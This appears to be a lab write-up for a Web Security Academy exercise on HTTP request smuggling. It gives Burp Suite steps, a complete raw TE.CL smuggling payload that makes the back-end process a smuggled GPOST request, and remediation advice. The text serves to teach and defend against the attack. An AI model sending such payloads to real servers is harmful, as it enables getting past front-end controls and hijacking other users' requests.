**SCENARIO**

This application involves a front-end and back-end server, and the back-end server doesn't support chunked encoding. The front-end server rejects requests that aren't using the GET or POST method. We will try to smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

**PROCEDURE**

1. Open the web application and send the GET request for homepage to BurpSuite’s Repeater.
2. Now right click on the request and click **Change Request Method** to change the request to **POST** as we can not send body for **GET** requests.
3. Inject the payload in the Repeater tab and send the request twice.

**PAYLOAD**

POST / HTTP/1.1

Host: 0ad400270476fb1b8151c55c00b600c5.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 4

Transfer-Encoding: chunked

5c

GPOST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

x=1

0

**REMEDIATION**

1. **Enforce Uniform HTTP Request Parsing:** Both the front-end and back-end servers should parse HTTP requests uniformly. Differences in request parsing can introduce vulnerabilities, such as smuggling opportunities.
2. **Prohibit Unnecessary Transfer Encodings:** If "Transfer-Encoding: chunked" or other encodings aren't required, they should be stripped or blocked server-side. Servers should be configured to only allow expected and supported encodings.
3. **Use Web Application Firewalls (WAFs):** A WAF can detect and block unusual request patterns and encodings. When configured correctly, it can prevent many web-based attack attempts, including smuggling.
4. **Update and Patch Servers:** Keep both the front-end and back-end servers updated with the latest patches. Many modern servers and web application platforms have built-in defenses against vulnerabilities, including HTTP Request Smuggling.
5. **Standardize Server Configuration:** Ensure that server configurations are consistent across the application infrastructure. This uniformity, especially in handling HTTP request headers and encoding, will decrease the chance of misinterpretations that can lead to vulnerabilities.